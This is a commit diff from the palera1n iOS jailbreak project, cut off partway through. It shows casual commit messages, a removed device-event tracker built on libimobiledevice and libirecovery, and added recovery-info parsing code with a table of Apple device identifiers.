refactor: libciderra1n support (#764)

* refactor

refactor: remove wdi

refactor: move openra1n to its own library

refactor: move everything standalone file to src root

* submodule

* okay these shouldnt of been included

* remove

* readd

* fix openra1n libusb

* liteusb for ra1ncovery

* fix action

* token

* whatever lwra bw apwxidix

* I knew this was gonna happen

* fix mac build

* what if this doesnt work

* okay bro

* lzma resources

* rename

* use idevice++, fix multiple devices, enter recovery

* whatever

* fix

* --force-enable-ssv

* improve exploit stuff, mirror tui logic to gui

also cooool logging for libopenra1n

* fix idevice windows build

* lets not be fancy

* new idevice patch

* easier to read

* lets hope this action works!

* remove useless ifs

* not required for non tui

* PLEASE COMPILE

* gsed lmao

* this might work idk

* whatever bro

* ah

* amd fix

* fix ts

* fix

* licensing

* update paleinfo

* LETS NOT do that

* forgot a file
This commit is contained in:
c authored and GitHub committed 2026-07-21 20:22:02 -07:00
1 parent f15011828b
commit 0cf2c6492f
128 files changed
+12054 -3114

No files matched your search

-362
View File
@@ -1,362 +0,0 @@
#if defined(WITH_GUI) || defined(WITH_TUI)
#include "event.hpp"
#include "sequence.hpp"
#include "utils.h"
#include <chrono>
#include <mutex>
#include <thread>
#include <unordered_map>
#include <vector>
#include <libimobiledevice/libimobiledevice.h>
#include <libimobiledevice/lockdown.h>
#include <libirecovery.h>
namespace {
struct ManagedDevice {
DeviceState state;
bool normalPresent = false;
bool recoveryPresent = false;
};
std::mutex g_mutex;
std::vector<DeviceStateCallback> g_callbacks;
std::unordered_map<uint64_t, ManagedDevice> g_devices; // keyed by ECID
std::unordered_map<std::string, uint64_t> g_udidToEcid;
uint64_t g_activeEcid = 0;
std::once_flag g_startOnce;
irecv_device_event_context_t g_recoveryCtx = nullptr;
void dispatch_callbacks(const std::vector<DeviceStateCallback>& callbacks, const DeviceState& state) {
for (const auto& cb : callbacks) {
if (cb)
cb(state);
}
}
DeviceState build_public_state_locked() {
DeviceState out;
out.connectedDeviceCount = static_cast<uint32_t>(g_devices.size());
out.multipleDevices = out.connectedDeviceCount > 1;
if (g_devices.size() != 1) {
g_activeEcid = 0;
return out;
}
auto it = g_devices.begin();
if (g_activeEcid != 0) {
auto activeIt = g_devices.find(g_activeEcid);
if (activeIt != g_devices.end())
it = activeIt;
}
g_activeEcid = it->first;
out = it->second.state;
out.connected = true;
out.connectedDeviceCount = 1;
out.multipleDevices = false;
return out;
}
void publish_state() {
std::vector<DeviceStateCallback> callbacks;
DeviceState state;
{
std::lock_guard<std::mutex> lock(g_mutex);
callbacks = g_callbacks;
state = build_public_state_locked();
}
dispatch_callbacks(callbacks, state);
}
bool lockdown_get_string(lockdownd_client_t client, const char* key, std::string& out) {
plist_t value = nullptr;
if (lockdownd_get_value(client, nullptr, key, &value) != LOCKDOWN_E_SUCCESS || !value)
return false;
char* raw = nullptr;
plist_get_string_val(value, &raw);
if (raw) {
out = raw;
free(raw);
}
plist_free(value);
return !out.empty();
}
bool lockdown_get_uint(lockdownd_client_t client, const char* key, uint64_t& out) {
plist_t value = nullptr;
if (lockdownd_get_value(client, nullptr, key, &value) != LOCKDOWN_E_SUCCESS || !value)
return false;
plist_get_uint_val(value, &out);
plist_free(value);
return out != 0;
}
bool build_normal_state(const idevice_event_t* event, DeviceState& out, std::string& connectionType) {
idevice_t device = nullptr;
if (!event || idevice_new(&device, event->udid) != IDEVICE_E_SUCCESS || !device)
return false;
lockdownd_client_t client = nullptr;
if (lockdownd_client_new_with_handshake(device, &client, "palera1n") != LOCKDOWN_E_SUCCESS) {
idevice_free(device);
return false;
}
out.connected = true;
out.mode = DeviceMode::Normal;
out.udid = event->udid ? event->udid : "";
lockdown_get_string(client, "ProductType", out.productType);
lockdown_get_string(client, "ProductVersion", out.productVersion);
lockdown_get_string(client, "ConnectionType", connectionType);
lockdown_get_uint(client, "UniqueChipID", out.ecid);
out.isSupported = SequenceIsSupported(out.productType);
lockdownd_client_free(client);
idevice_free(device);
return true;
}
bool build_recovery_state(const irecv_device_event_t* event, DeviceState& out) {
if (!event || !event->device_info || !event->device_info->ecid)
return false;
out.connected = true;
out.ecid = event->device_info->ecid;
out.mode = (event->mode == IRECV_K_DFU_MODE) ? DeviceMode::DFU : DeviceMode::Recovery;
irecv_client_t client = nullptr;
int attempts = 0;
const int maxAttempts = 10;
while (attempts < maxAttempts) {
if (irecv_open_with_ecid(&client, out.ecid) == IRECV_E_SUCCESS)
break;
++attempts;
std::this_thread::sleep_for(std::chrono::milliseconds(300));
}
if (client) {
irecv_device_t device = nullptr;
if (irecv_devices_get_device_by_client(client, &device) == IRECV_E_SUCCESS && device) {
out.productType = device->product_type ? device->product_type : "";
out.displayName = device->display_name ? device->display_name : "";
}
irecv_close(client);
} else {
LOG_VERBOSE("Failed to open irecv client after retries for ECID=%llu", static_cast<unsigned long long>(out.ecid));
}
out.isSupported = SequenceIsSupported(out.productType);
return true;
}
void handle_normal_add(const idevice_event_t* event) {
if (!event)
return;
if (event->conn_type != CONNECTION_USBMUXD) {
LOG_VERBOSE("Ignoring non-USB normal mode device event");
return;
}
DeviceState discovered;
std::string connectionType;
if (!build_normal_state(event, discovered, connectionType))
return;
if (!connectionType.empty() && connectionType != "USB") {
LOG_VERBOSE("Ignoring over-the-air normal mode device (ConnectionType=%s)", connectionType.c_str());
return;
}
if (discovered.ecid == 0) {
LOG_VERBOSE("Ignoring normal mode device without ECID");
return;
}
{
std::lock_guard<std::mutex> lock(g_mutex);
ManagedDevice& m = g_devices[discovered.ecid];
m.state = discovered;
m.normalPresent = true;
m.recoveryPresent = false;
if (!discovered.udid.empty())
g_udidToEcid[discovered.udid] = discovered.ecid;
}
publish_state();
}
void handle_normal_remove(const idevice_event_t* event) {
if (!event || !event->udid)
return;
{
std::lock_guard<std::mutex> lock(g_mutex);
auto mapIt = g_udidToEcid.find(event->udid);
if (mapIt == g_udidToEcid.end())
return;
const uint64_t ecid = mapIt->second;
g_udidToEcid.erase(mapIt);
auto devIt = g_devices.find(ecid);
if (devIt == g_devices.end())
return;
devIt->second.normalPresent = false;
if (!devIt->second.normalPresent && !devIt->second.recoveryPresent)
g_devices.erase(devIt);
}
publish_state();
}
void handle_recovery_add(const irecv_device_event_t* event) {
DeviceState discovered;
if (!build_recovery_state(event, discovered))
return;
{
std::lock_guard<std::mutex> lock(g_mutex);
ManagedDevice& m = g_devices[discovered.ecid];
m.state = discovered;
m.recoveryPresent = true;
m.normalPresent = false;
}
publish_state();
}
void handle_recovery_remove(const irecv_device_event_t* event) {
bool changed = false;
{
std::lock_guard<std::mutex> lock(g_mutex);
uint64_t ecid = 0;
if (event && event->device_info)
ecid = event->device_info->ecid;
if (ecid == 0) {
for (const auto& [key, value] : g_devices) {
if (!value.recoveryPresent)
continue;
if (ecid != 0) {
ecid = 0;
break;
}
ecid = key;
}
}
if (ecid == 0)
return;
auto devIt = g_devices.find(ecid);
if (devIt == g_devices.end())
return;
devIt->second.recoveryPresent = false;
if (!devIt->second.normalPresent && !devIt->second.recoveryPresent)
g_devices.erase(devIt);
for (auto it = g_udidToEcid.begin(); it != g_udidToEcid.end();) {
if (it->second == ecid && g_devices.find(ecid) == g_devices.end())
it = g_udidToEcid.erase(it);
else
++it;
}
changed = true;
}
if (changed)
publish_state();
}
bool is_supported_recovery_mode(irecv_mode mode) {
return mode == IRECV_K_DFU_MODE ||
mode == IRECV_K_RECOVERY_MODE_1 ||
mode == IRECV_K_RECOVERY_MODE_2 ||
mode == IRECV_K_RECOVERY_MODE_3 ||
mode == IRECV_K_RECOVERY_MODE_4;
}
} // namespace
void register_device_state_callback(DeviceStateCallback cb) {
if (!cb)
return;
DeviceState snapshot;
{
std::lock_guard<std::mutex> lock(g_mutex);
g_callbacks.push_back(cb);
snapshot = build_public_state_locked();
}
cb(snapshot);
}
void ensure_device_event_system_started() {
std::call_once(g_startOnce, []() {
if (idevice_event_subscribe(normal_device_event_cb, nullptr) != IDEVICE_E_SUCCESS)
LOG_ERROR("Failed to subscribe to normal mode device events");
if (irecv_device_event_subscribe(&g_recoveryCtx, recovery_device_event_cb, nullptr) != IRECV_E_SUCCESS)
LOG_ERROR("Failed to subscribe to recovery/DFU device events");
char** udids = nullptr;
int count = 0;
if (idevice_get_device_list(&udids, &count) == IDEVICE_E_SUCCESS && udids) {
for (int i = 0; i < count; ++i) {
idevice_event_t synthetic_event;
synthetic_event.event = IDEVICE_DEVICE_ADD;
synthetic_event.udid = udids[i];
synthetic_event.conn_type = CONNECTION_USBMUXD;
handle_normal_add(&synthetic_event);
}
idevice_device_list_free(udids);
}
});
}
void normal_device_event_cb(const idevice_event_t* event, void* user_data) {
(void)user_data;
if (!event)
return;
if (event->event == IDEVICE_DEVICE_ADD) {
handle_normal_add(event);
return;
}
if (event->event == IDEVICE_DEVICE_REMOVE)
handle_normal_remove(event);
}
void recovery_device_event_cb(const irecv_device_event_t* event, void* user_data) {
(void)user_data;
if (!event)
return;
if (event->type == IRECV_DEVICE_ADD && is_supported_recovery_mode(event->mode)) {
handle_recovery_add(event);
return;
}
if (event->type == IRECV_DEVICE_REMOVE)
handle_recovery_remove(event);
}
#endif // WITH_GUI || WITH_TUI
-49
View File
@@ -1,49 +0,0 @@
#if defined(WITH_GUI) || defined(WITH_TUI)
#ifndef EVENT_H
#define EVENT_H
#include <cstdint>
#include <functional>
#include <string>
#ifdef WITH_GUI
# include <wx/wx.h>
#endif
#include <libimobiledevice/libimobiledevice.h>
#include <libimobiledevice/lockdown.h>
#include <libirecovery.h>
enum class DeviceMode
{
None,
Normal,
Recovery,
DFU
};
struct DeviceState
{
bool connected = false;
bool isSupported = false;
bool multipleDevices = false;
DeviceMode mode = DeviceMode::None;
std::string productVersion;
std::string productType;
std::string displayName;
std::string udid;
uint64_t ecid = 0;
uint32_t connectedDeviceCount = 0;
};
using DeviceStateCallback = std::function<void(const DeviceState&)>;
void register_device_state_callback(DeviceStateCallback cb);
void ensure_device_event_system_started();
void normal_device_event_cb(const idevice_event_t* event, void* user_data);
void recovery_device_event_cb(const irecv_device_event_t* event, void* user_data);
#endif // EVENT_H
#endif // WITH_GUI || WITH_TUI
+87
View File
@@ -0,0 +1,87 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#if defined(WITH_GUI) || defined(WITH_TUI)
#include "device_info.hpp"
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdint.h>
#include <string.h>
#include <cstdio>
#include <cstdint>
#include <cstdlib>
#include <cstring>
static uint64_t get_hex_field(const char *serial, const char *field) {
char *p = strstr((char *)serial, field);
return p ? strtoull(p + strlen(field), nullptr, 16) : 0;
}
void get_recovery_info(char *sn, const char **ecid, const char **product_model, const char **product_name)
{
static char cpid_buf[16];
static char ecid_buf[32];
static char bdid_buf[16];
uint16_t cpid_val = (uint16_t)get_hex_field(sn, "CPID:");
uint32_t bdid_val = (uint32_t)get_hex_field(sn, "BDID:");
uint64_t ecid_val = get_hex_field(sn, "ECID:");
snprintf(cpid_buf, sizeof(cpid_buf), "%04X", cpid_val);
snprintf(bdid_buf, sizeof(bdid_buf), "%08X", bdid_val);
snprintf(ecid_buf, sizeof(ecid_buf), "%016llX", (unsigned long long)ecid_val);
*ecid = ecid_buf;
*product_model = nullptr;
*product_name = nullptr;
for (int i = 0; irecv_devices[i].product_type; i++) {
if (irecv_devices[i].cpid == cpid_val &&
irecv_devices[i].bdid == bdid_val) {
*product_model = irecv_devices[i].product_type;
*product_name = irecv_devices[i].name;
break;
}
}
}
void get_name_from_product_type(const char *product_type, const char **name) {
*name = nullptr;
for (int i = 0; irecv_devices[i].product_type; i++) {
if (strcmp(irecv_devices[i].product_type, product_type) == 0) {
*name = irecv_devices[i].name;
break;
}
}
}
#endif // WITH_GUI || WITH_TUI
+382
View File
@@ -0,0 +1,382 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#if defined(WITH_GUI) || defined(WITH_TUI)
#ifndef MAIN__DEVICE_INFO_H
#define MAIN__DEVICE_INFO_H
struct irecv_device {
const char *product_type;
const char *board;
int bdid;
int cpid;
const char *name;
};
static struct irecv_device irecv_devices[] = {
/* iPhone */
{ "iPhone1,1", "m68ap", 0x00, 0x8900, "iPhone 2G" },
{ "iPhone1,2", "n82ap", 0x04, 0x8900, "iPhone 3G" },
{ "iPhone2,1", "n88ap", 0x00, 0x8920, "iPhone 3Gs" },
{ "iPhone3,1", "n90ap", 0x00, 0x8930, "iPhone 4 (GSM)" },
{ "iPhone3,2", "n90bap", 0x04, 0x8930, "iPhone 4 (GSM) R2 2012" },
{ "iPhone3,3", "n92ap", 0x06, 0x8930, "iPhone 4 (CDMA)" },
{ "iPhone4,1", "n94ap", 0x08, 0x8940, "iPhone 4s" },
{ "iPhone5,1", "n41ap", 0x00, 0x8950, "iPhone 5 (GSM)" },
{ "iPhone5,2", "n42ap", 0x02, 0x8950, "iPhone 5 (Global)" },
{ "iPhone5,3", "n48ap", 0x0a, 0x8950, "iPhone 5c (GSM)" },
{ "iPhone5,4", "n49ap", 0x0e, 0x8950, "iPhone 5c (Global)" },
{ "iPhone6,1", "n51ap", 0x00, 0x8960, "iPhone 5s (GSM)" },
{ "iPhone6,2", "n53ap", 0x02, 0x8960, "iPhone 5s (Global)" },
{ "iPhone7,1", "n56ap", 0x04, 0x7000, "iPhone 6 Plus" },
{ "iPhone7,2", "n61ap", 0x06, 0x7000, "iPhone 6" },
{ "iPhone8,1", "n71ap", 0x04, 0x8000, "iPhone 6s" },
{ "iPhone8,1", "n71map", 0x04, 0x8003, "iPhone 6s" },
{ "iPhone8,2", "n66ap", 0x06, 0x8000, "iPhone 6s Plus" },
{ "iPhone8,2", "n66map", 0x06, 0x8003, "iPhone 6s Plus" },
{ "iPhone8,4", "n69ap", 0x02, 0x8003, "iPhone SE (1st gen)" },
{ "iPhone8,4", "n69uap", 0x02, 0x8000, "iPhone SE (1st gen)" },
{ "iPhone9,1", "d10ap", 0x08, 0x8010, "iPhone 7 (Global)" },
{ "iPhone9,2", "d11ap", 0x0a, 0x8010, "iPhone 7 Plus (Global)" },
{ "iPhone9,3", "d101ap", 0x0c, 0x8010, "iPhone 7 (GSM)" },
{ "iPhone9,4", "d111ap", 0x0e, 0x8010, "iPhone 7 Plus (GSM)" },
{ "iPhone10,1", "d20ap", 0x02, 0x8015, "iPhone 8 (Global)" },
{ "iPhone10,2", "d21ap", 0x04, 0x8015, "iPhone 8 Plus (Global)" },
{ "iPhone10,3", "d22ap", 0x06, 0x8015, "iPhone X (Global)" },
{ "iPhone10,4", "d201ap", 0x0a, 0x8015, "iPhone 8 (GSM)" },
{ "iPhone10,5", "d211ap", 0x0c, 0x8015, "iPhone 8 Plus (GSM)" },
{ "iPhone10,6", "d221ap", 0x0e, 0x8015, "iPhone X (GSM)" },
{ "iPhone11,2", "d321ap", 0x0e, 0x8020, "iPhone XS" },
{ "iPhone11,4", "d331ap", 0x0a, 0x8020, "iPhone XS Max (China)" },
{ "iPhone11,6", "d331pap", 0x1a, 0x8020, "iPhone XS Max" },
{ "iPhone11,8", "n841ap", 0x0c, 0x8020, "iPhone XR" },
{ "iPhone12,1", "n104ap", 0x04, 0x8030, "iPhone 11" },
{ "iPhone12,3", "d421ap", 0x06, 0x8030, "iPhone 11 Pro" },
{ "iPhone12,5", "d431ap", 0x02, 0x8030, "iPhone 11 Pro Max" },
{ "iPhone12,8", "d79ap", 0x10, 0x8030, "iPhone SE (2nd gen)" },
{ "iPhone13,1", "d52gap", 0x0A, 0x8101, "iPhone 12 mini" },
{ "iPhone13,2", "d53gap", 0x0C, 0x8101, "iPhone 12" },
{ "iPhone13,3", "d53pap", 0x0E, 0x8101, "iPhone 12 Pro" },
{ "iPhone13,4", "d54pap", 0x08, 0x8101, "iPhone 12 Pro Max" },
{ "iPhone14,2", "d63ap", 0x0C, 0x8110, "iPhone 13 Pro" },
{ "iPhone14,3", "d64ap", 0x0E, 0x8110, "iPhone 13 Pro Max" },
{ "iPhone14,4", "d16ap", 0x08, 0x8110, "iPhone 13 mini" },
{ "iPhone14,5", "d17ap", 0x0A, 0x8110, "iPhone 13" },
{ "iPhone14,6", "d49ap", 0x10, 0x8110, "iPhone SE (3rd gen)" },
{ "iPhone14,7", "d27ap", 0x18, 0x8110, "iPhone 14" },
{ "iPhone14,8", "d28ap", 0x1A, 0x8110, "iPhone 14 Plus" },
{ "iPhone15,2", "d73ap", 0x0C, 0x8120, "iPhone 14 Pro" },
{ "iPhone15,3", "d74ap", 0x0E, 0x8120, "iPhone 14 Pro Max" },
{ "iPhone15,4", "d37ap", 0x08, 0x8120, "iPhone 15" },
{ "iPhone15,5", "d38ap", 0x0A, 0x8120, "iPhone 15 Plus" },
{ "iPhone16,1", "d83ap", 0x04, 0x8130, "iPhone 15 Pro" },
{ "iPhone16,2", "d84ap", 0x06, 0x8130, "iPhone 15 Pro Max" },
{ "iPhone17,1", "d93ap", 0x0C, 0x8140, "iPhone 16 Pro" },
{ "iPhone17,2", "d94ap", 0x0E, 0x8140, "iPhone 16 Pro Max" },
{ "iPhone17,3", "d47ap", 0x08, 0x8140, "iPhone 16" },
{ "iPhone17,4", "d48ap", 0x0A, 0x8140, "iPhone 16 Plus" },
{ "iPhone17,5", "v59ap", 0x04, 0x8140, "iPhone 16e" },
{ "iPhone18,1", "v53ap", 0x0C, 0x8150, "iPhone 17 Pro" },
{ "iPhone18,2", "v54ap", 0x0E, 0x8150, "iPhone 17 Pro Max" },
{ "iPhone18,3", "v57ap", 0x08, 0x8150, "iPhone 17" },
{ "iPhone18,4", "d23ap", 0x0A, 0x8150, "iPhone Air" },
{ "iPhone18,5", "v159ap", 0x16, 0x8150, "iPhone 17e" },
/* iPod */
{ "iPod1,1", "n45ap", 0x02, 0x8900, "iPod Touch (1st gen)" },
{ "iPod2,1", "n72ap", 0x00, 0x8720, "iPod Touch (2nd gen)" },
{ "iPod3,1", "n18ap", 0x02, 0x8922, "iPod Touch (3rd gen)" },
{ "iPod4,1", "n81ap", 0x08, 0x8930, "iPod Touch (4th gen)" },
{ "iPod5,1", "n78ap", 0x00, 0x8942, "iPod Touch (5th gen)" },
{ "iPod7,1", "n102ap", 0x10, 0x7000, "iPod Touch (6th gen)" },
{ "iPod9,1", "n112ap", 0x16, 0x8010, "iPod Touch (7th gen)" },
/* iPad */
{ "iPad1,1", "k48ap", 0x02, 0x8930, "iPad" },
{ "iPad2,1", "k93ap", 0x04, 0x8940, "iPad 2 (WiFi)" },
{ "iPad2,2", "k94ap", 0x06, 0x8940, "iPad 2 (GSM)" },
{ "iPad2,3", "k95ap", 0x02, 0x8940, "iPad 2 (CDMA)" },
{ "iPad2,4", "k93aap", 0x06, 0x8942, "iPad 2 (WiFi) R2 2012" },
{ "iPad2,5", "p105ap", 0x0a, 0x8942, "iPad mini (WiFi)" },
{ "iPad2,6", "p106ap", 0x0c, 0x8942, "iPad mini (GSM)" },
{ "iPad2,7", "p107ap", 0x0e, 0x8942, "iPad mini (Global)" },
{ "iPad3,1", "j1ap", 0x00, 0x8945, "iPad (3rd gen, WiFi)" },
{ "iPad3,2", "j2ap", 0x02, 0x8945, "iPad (3rd gen, CDMA)" },
{ "iPad3,3", "j2aap", 0x04, 0x8945, "iPad (3rd gen, GSM)" },
{ "iPad3,4", "p101ap", 0x00, 0x8955, "iPad (4th gen, WiFi)" },
{ "iPad3,5", "p102ap", 0x02, 0x8955, "iPad (4th gen, GSM)" },
{ "iPad3,6", "p103ap", 0x04, 0x8955, "iPad (4th gen, Global)" },
{ "iPad4,1", "j71ap", 0x10, 0x8960, "iPad Air (WiFi)" },
{ "iPad4,2", "j72ap", 0x12, 0x8960, "iPad Air (Cellular)" },
{ "iPad4,3", "j73ap", 0x14, 0x8960, "iPad Air (China)" },
{ "iPad4,4", "j85ap", 0x0a, 0x8960, "iPad mini 2 (WiFi)" },
{ "iPad4,5", "j86ap", 0x0c, 0x8960, "iPad mini 2 (Cellular)" },
{ "iPad4,6", "j87ap", 0x0e, 0x8960, "iPad mini 2 (China)" },
{ "iPad4,7", "j85map", 0x32, 0x8960, "iPad mini 3 (WiFi)" },
{ "iPad4,8", "j86map", 0x34, 0x8960, "iPad mini 3 (Cellular)" },
{ "iPad4,9", "j87map", 0x36, 0x8960, "iPad mini 3 (China)" },
{ "iPad5,1", "j96ap", 0x08, 0x7000, "iPad mini 4 (WiFi)" },
{ "iPad5,2", "j97ap", 0x0A, 0x7000, "iPad mini 4 (Cellular)" },
{ "iPad5,3", "j81ap", 0x06, 0x7001, "iPad Air 2 (WiFi)" },
{ "iPad5,4", "j82ap", 0x02, 0x7001, "iPad Air 2 (Cellular)" },
{ "iPad6,3", "j127ap", 0x08, 0x8001, "iPad Pro 9.7-inch (WiFi)" },
{ "iPad6,4", "j128ap", 0x0a, 0x8001, "iPad Pro 9.7-inch (Cellular)" },
{ "iPad6,7", "j98aap", 0x10, 0x8001, "iPad Pro 12.9-inch (1st gen, WiFi)" },
{ "iPad6,8", "j99aap", 0x12, 0x8001, "iPad Pro 12.9-inch (1st gen, Cellular)" },
{ "iPad6,11", "j71sap", 0x10, 0x8000, "iPad (5th gen, WiFi)" },
{ "iPad6,11", "j71tap", 0x10, 0x8003, "iPad (5th gen, WiFi)" },
{ "iPad6,12", "j72sap", 0x12, 0x8000, "iPad (5th gen, Cellular)" },
{ "iPad6,12", "j72tap", 0x12, 0x8003, "iPad (5th gen, Cellular)" },
{ "iPad7,1", "j120ap", 0x0C, 0x8011, "iPad Pro 12.9-inch (2nd gen, WiFi)" },
{ "iPad7,2", "j121ap", 0x0E, 0x8011, "iPad Pro 12.9-inch (2nd gen, Cellular)" },
{ "iPad7,3", "j207ap", 0x04, 0x8011, "iPad Pro 10.5-inch (WiFi)" },
{ "iPad7,4", "j208ap", 0x06, 0x8011, "iPad Pro 10.5-inch (Cellular)" },
{ "iPad7,5", "j71bap", 0x18, 0x8010, "iPad (6th gen, WiFi)" },
{ "iPad7,6", "j72bap", 0x1A, 0x8010, "iPad (6th gen, Cellular)" },
{ "iPad7,11", "j171ap", 0x1C, 0x8010, "iPad (7th gen, WiFi)" },
{ "iPad7,12", "j172ap", 0x1E, 0x8010, "iPad (7th gen, Cellular)" },
{ "iPad8,1", "j317ap", 0x0C, 0x8027, "iPad Pro 11-inch (1st gen, WiFi)" },
{ "iPad8,2", "j317xap", 0x1C, 0x8027, "iPad Pro 11-inch (1st gen, WiFi, 1TB)" },
{ "iPad8,3", "j318ap", 0x0E, 0x8027, "iPad Pro 11-inch (1st gen, Cellular)" },
{ "iPad8,4", "j318xap", 0x1E, 0x8027, "iPad Pro 11-inch (1st gen, Cellular, 1TB)" },
{ "iPad8,5", "j320ap", 0x08, 0x8027, "iPad Pro 12.9-inch (3rd gen, WiFi)" },
{ "iPad8,6", "j320xap", 0x18, 0x8027, "iPad Pro 12.9-inch (3rd gen, WiFi, 1TB)" },
{ "iPad8,7", "j321ap", 0x0A, 0x8027, "iPad Pro 12.9-inch (3rd gen, Cellular)" },
{ "iPad8,8", "j321xap", 0x1A, 0x8027, "iPad Pro 12.9-inch (3rd gen, Cellular, 1TB)" },
{ "iPad8,9", "j417ap", 0x3C, 0x8027, "iPad Pro 11-inch (2nd gen, WiFi)" },
{ "iPad8,10", "j418ap", 0x3E, 0x8027, "iPad Pro 11-inch (2nd gen, Cellular)" },
{ "iPad8,11", "j420ap", 0x38, 0x8027, "iPad Pro 12.9-inch (4th gen, WiFi)" },
{ "iPad8,12", "j421ap", 0x3A, 0x8027, "iPad Pro 12.9-inch (4th gen, Cellular)" },
{ "iPad11,1", "j210ap", 0x14, 0x8020, "iPad mini (5th gen, WiFi)" },
{ "iPad11,2", "j211ap", 0x16, 0x8020, "iPad mini (5th gen, Cellular)" },
{ "iPad11,3", "j217ap", 0x1C, 0x8020, "iPad Air (3rd gen, WiFi)" },
{ "iPad11,4", "j218ap", 0x1E, 0x8020, "iPad Air (3rd gen, Cellular)" },
{ "iPad11,6", "j171aap", 0x24, 0x8020, "iPad (8th gen, WiFi)" },
{ "iPad11,7", "j172aap", 0x26, 0x8020, "iPad (8th gen, Cellular)" },
{ "iPad12,1", "j181ap", 0x18, 0x8030, "iPad (9th gen, WiFi)" },
{ "iPad12,2", "j182ap", 0x1A, 0x8030, "iPad (9th gen, Cellular)" },
{ "iPad13,1", "j307ap", 0x04, 0x8101, "iPad Air (4th gen, WiFi)" },
{ "iPad13,2", "j308ap", 0x06, 0x8101, "iPad Air (4th gen, Cellular)" },
{ "iPad13,4", "j517ap", 0x08, 0x8103, "iPad Pro 11-inch (3rd gen, WiFi)" },
{ "iPad13,5", "j517xap", 0x0A, 0x8103, "iPad Pro 11-inch (3rd gen, WiFi, 2TB)" },
{ "iPad13,6", "j518ap", 0x0C, 0x8103, "iPad Pro 11-inch (3rd gen, Cellular)" },
{ "iPad13,7", "j518xap", 0x0E, 0x8103, "iPad Pro 11-inch (3rd gen, Cellular, 2TB)" },
{ "iPad13,8", "j522ap", 0x18, 0x8103, "iPad Pro 12.9-inch (5th gen, WiFi)" },
{ "iPad13,9", "j522xap", 0x1A, 0x8103, "iPad Pro 12.9-inch (5th gen, WiFi, 2TB)" },
{ "iPad13,10", "j523ap", 0x1C, 0x8103, "iPad Pro 12.9-inch (5th gen, Cellular)" },
{ "iPad13,11", "j523xap", 0x1E, 0x8103, "iPad Pro 12.9-inch (5th gen, Cellular, 2TB)" },
{ "iPad13,16", "j407ap", 0x10, 0x8103, "iPad Air (5th gen, WiFi)" },
{ "iPad13,17", "j408ap", 0x12, 0x8103, "iPad Air (5th gen, Cellular)" },
{ "iPad13,18", "j271ap", 0x14, 0x8101, "iPad (10th gen, WiFi)" },
{ "iPad13,19", "j272ap", 0x16, 0x8101, "iPad (10th gen, Cellular)" },
{ "iPad14,1", "j310ap", 0x04, 0x8110, "iPad mini (6th gen, WiFi)" },
{ "iPad14,2", "j311ap", 0x06, 0x8110, "iPad mini (6th gen, Cellular)" },
{ "iPad14,3", "j617ap", 0x08, 0x8112, "iPad Pro 11-inch (4th gen, WiFi)" },
{ "iPad14,4", "j618ap", 0x0A, 0x8112, "iPad Pro 11-inch (4th gen, Cellular)" },
{ "iPad14,5", "j620ap", 0x0C, 0x8112, "iPad Pro 12.9-inch (6th gen, WiFi)" },
{ "iPad14,6", "j621ap", 0x0E, 0x8112, "iPad Pro 12.9-inch (6th gen, Cellular)" },
{ "iPad14,8", "j507ap", 0x10, 0x8112, "iPad Air 11-inch (M2, WiFi)" },
{ "iPad14,9", "j508ap", 0x12, 0x8112, "iPad Air 11-inch (M2, Cellular)" },
{ "iPad14,10", "j537ap", 0x14, 0x8112, "iPad Air 13-inch (M2, WiFi)" },
{ "iPad14,11", "j538ap", 0x16, 0x8112, "iPad Air 13-inch (M2, Cellular)" },
{ "iPad15,3", "j607ap", 0x08, 0x8122, "iPad Air 11-inch (M3, WiFi)" },
{ "iPad15,4", "j608ap", 0x0A, 0x8122, "iPad Air 11-inch (M3, Cellular)" },
{ "iPad15,5", "j637ap", 0x0C, 0x8122, "iPad Air 13-inch (M3, WiFi)" },
{ "iPad15,6", "j638ap", 0x0E, 0x8122, "iPad Air 13-inch (M3, Cellular)" },
{ "iPad15,7", "j481ap", 0x10, 0x8120, "iPad (A16, WiFi)" },
{ "iPad15,8", "j482ap", 0x12, 0x8120, "iPad (A16, Cellular)" },
{ "iPad16,1", "j410ap", 0x08, 0x8130, "iPad mini (A17 Pro, WiFi)" },
{ "iPad16,2", "j411ap", 0x0A, 0x8130, "iPad mini (A17 Pro, Cellular)" },
{ "iPad16,3", "j717ap", 0x08, 0x8132, "iPad Pro 11-inch (M4, WiFi)" },
